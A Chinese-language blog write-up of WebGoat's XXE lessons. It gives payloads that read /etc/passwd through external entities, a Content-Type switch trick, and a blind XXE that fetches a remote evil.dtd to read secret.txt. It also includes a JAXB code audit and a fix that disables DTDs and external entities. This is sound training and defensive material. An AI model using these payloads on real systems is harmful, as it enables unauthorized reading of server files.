WebGoat代码审计-05-XXE注入
Drunkbaby Lv6

WebGoat代码审计-05-XXE注入

WebGoat 代码审计-05-XXE注入

0x01 前言

本篇文章只针对 WebGoat 下的 XXE 进行学习,需要进一步深入学习可以移步至我博客学习

之前刷 Port 的时候,XXE 算是自己比较薄弱的一块,现在刷 Webgoat 的话要更加专注一些。

0x02 靶场

1. 提一嘴的 PageLesson3

可以去看一眼,理解一下 DTD。而且这一页给我们提供了一个 XXE 例子。

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
<!ENTITY js SYSTEM "file:///etc/passwd">
]>
<author>&js;</author>

2. XXE PageLesson4 利用 file 协议读出敏感数据

  • 靶场题意:让我们通过对 index 下的图片添加评论,从而触发 XXE,导致列出文件系统的根目录。

题目部分

靶场如图所示

我们在评论区内输入 123,并用 Burpsuite 抓包。抓包之后发现,请求的地址是 /WebGoat/xxe/simple,POST 请求的正文是一个标准格式的 XML。

1
2
3
4
<?xml version="1.0"?>
<comment>
<text>123</text>
</comment>

既然这边的 XML 可以通过用户的输入进行自定义,所以我们构造如下的 payload:

1
2
3
4
5
<?xml version='1.0'?>
<!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]>
<comment>
<text>&test;</text>
</comment>

在JAVA中,file://协议不仅可以读取文件,还可以列目录。

源码部分

前文我们说了,发包的时候请求的地址是 /WebGoat/XXE/SimpleXXE,我们去翻这个源文件。

最让人想看到的 return success(this).build() 在第 73 - 75 行。

  • 静下心来代码审计一下

首先是第 68 行 与 第 71 - 72 行:
第 68 行将 POST 请求中的 Body(正文) 中的内容赋值给 commentStr 这个字符串对象;
第 71 - 72 行,将commentStr交给comments实例的parseXml方法来处理。并赋给Comment类的comment实例,说明经过parseXml方法处理后的类型为comment,最后comments.addComment(comment, false);来添加评论。

1
2
var comment = comments.parseXml(commentStr);  
comments.addComment(comment, false);

跳转到 Comments.parseXml 去,主要描述了 parseXml 如何处理 commentStr。

第 93 - 94 行单独拉出来讲

1
2
var jc = JAXBContext.newInstance(Comment.class);  
var xif = XMLInputFactory.newInstance();

主要关注 JAXB

JAXBContext

  • 前置知识:JAXB 作为 JDK 的一部分,能便捷地将 Java 对象与 XML 进行相互转换。
  • JAXBContext 是整个 JAXB API 的入口。主要用来构建 JAXB 实例newInstance()
  • Marshaller接口,将Java对象序列化为XML数据。
  • Unmarshaller接口,将XML数据反序列化为Java对象。

JAXBContext.newInstance(Comment.class) 的作用是将 Comment 这个对象进行注册,创建一个 JAXB 实例;实例名字在本代码中为 jc。

Comment 对象如图所示

接下来要讲的是产生 XXE 的代码块原因
1
2
var unmarshaller = jc.createUnmarshaller();  
return (Comment) unmarshaller.unmarshal(xsr);

此处创建一个 Unmarshaller 对象。返回的值是 XML 经过unmarshal 方法处理的值。由于 unmarshal 在执行过程中解析了 XML(这里类似于反序列化的意思),导致 XXE 注入。

当把 XML 格式的字符串传递给 Unmarshaller 接口转变成 Java 对象时,会解析一遍 XML,如果传入的值可控就会导致 XXE 注入攻击。

修复手段

前文说到产生 XXE 注入是因为解析 XML 时不加任何的限制,那么我们的修复手段讲将支持外部实体和支持dtd都给禁止便可。

  • 借用木爷的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package XXE;

import lombok.var;

import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import java.io.StringReader;

public class XXERepair {

public void Repair() throws JAXBException, XMLStreamException {
String xml = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE doc [ \n" +
"<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
"]><comment><text>&xxe;</text></comment>";
var jc = JAXBContext.newInstance(Comment.class);
// 创建了我们的工厂 读取xml的一个工厂
var xif = XMLInputFactory.newInstance();
// 不支持外部实体
// 后面两行是多加的代码
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
// 不支持dtd
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
var xsr = xif.createXMLStreamReader(new StringReader(xml));
// 将我们的xml 变成我们的java对象
var unmarshaller = jc.createUnmarshaller();
unmarshaller.unmarshal(xsr);

}


public static void main(String[] args) throws JAXBException, XMLStreamException {

XXERepair test = new XXERepair();
test.Repair();
}
}

Comment 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package XXE;


import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;

import javax.xml.bind.annotation.XmlRootElement;

@Getter
@Setter
@AllArgsConstructor
@NoArgsConstructor
@XmlRootElement
public class Comment {
private String user;
private String dateTime;
private String text;
}

3. XXE PageLesson7 改变Content-Type利用 file 协议读出敏感数据

  • 题意:发包的 Body 修改成了 json 的格式,看上去不存在 XXE 了

题目部分

靶场和上一题长得一模一样,甚至上一题渗透的痕迹还在。

抓个包,查看一下;发现是 Content-Type 变为 json

尝试修改 Content-Type 为 application/xml 再发包,并使用上一题的 payload

源码部分

ContentTypeAssignment.java 文件下的 xxe/content-type 接口。

源码部分,并没有对 Content-Type 进行严格的过滤。

修复部分

修复的话,应该从根源上解决,即和上题一致。

4. XXE PageLesson10 盲注

  • 题意:获取 WebGoat 下的 secret.txt 文件

题目部分

按照多重 DTD 的思路继续,这里的方式比较常规,但是还是会给人带来一些疙瘩。

  • 首先是上传一个恶意的 DTD 到第三方服务器,这个恶意 DTD 我们暂且将其命名为 evil.dtd

evil.dtd

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY secret SYSTEM 'file://用 WebGoat 给的路径替换进来'>

上传之后,抓包,并构造 payload

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://localhost:9090/files/admin1123这里是自己的username/evil.dtd">
%remote;
]>
<comment> <text>123 &secret;</text></comment>

在 Burpsuite 中发包,接着刷新再输入即可。

源码部分

  • 源码层面和之前是一样的,只是没有回显的消息了,我这里把有回显与无回显的都贴出来对比一下。
 评论